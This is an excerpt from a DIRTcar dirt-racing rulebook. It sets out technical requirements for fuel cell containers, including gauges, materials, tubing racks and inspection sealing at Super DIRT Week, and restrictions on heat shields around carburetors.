15.2         Fuel, Fuel Cells and Fuel System

D.) The fuel cell must be enclosed completely in a rectangle and/or square container that is a minimum thickness of 20-gauge magnetic steel. An aluminum container may be used as an option and must be a minimum of .060”-inch in thickness. For Super DIRT Week at the New York State Fairgrounds and Specific Events Only: On the bottom of the fuel cell, a piece of .090-guage material (aluminum and/or magnetic steel – in addition to the existing container) must be used at the bottom of the fuel cell container to prevent bowing and/or deflection. The .090-guage material must have an inspection hole drilled near the center of the piece to measure the thickness of the material. A 1”-inch x 1”-inch x .0625”-inch thick magnetic steel square tubing rack must be fabricated on the top, front and rear sides of the fuel cell container. The square tubing must be a minimum of 5”-inches from the outside edge of the fuel cell on either side. The rack may be fastened to the bottom of the fuel cell can utilizing a piece of magnetic steel angle material that is a minimum of 1”-inch x 1”-inch with a minimum material thickness of .065”-inch magnetic angle steel that is on all four (4) sides of the container. Drilling multiple holes and/or any attempt to lighten any piece within the fuel cell container and/or rack will not be permitted. The measurements taken in regard to the fuel cell container will be measured on an inside-to-inside basis. A tolerance for material thickness will be calculated and permitted for dimensions, however there will be no tolerance for expansion and/or containers that are larger than the minimum.


For Super DIRT Week at the New York State Fairgrounds and Specified events only;

The car must come to inspection with the fuel cell exposed for the purpose of inspection and sealing. The fuel cell can bolts must be tight and the bolt heads must be drilled for the purpose of a DIRTcar seal. The filler plate and the bolts that hold the can together will be sealed.


15.1.3      Carburetor

D.) Heat shield devices of any type, around the carburetor and/or under the hood or cowl that encompass and/or cover the entire engine or carburetor will not be permitted. A shield may be used under the air filter base and must remain on top of the carburetor main body (venturi opening) in an attempt to seal off the air cleaner area. Any type of shield that covers the engine compartment area will not be permitted. A shield may be attached to the hood or air filter base plate for the purpose preventing dust and/or exterior elements being introduced into the air breather. Any shields new in design must be submitted to DIRTcar for approval.
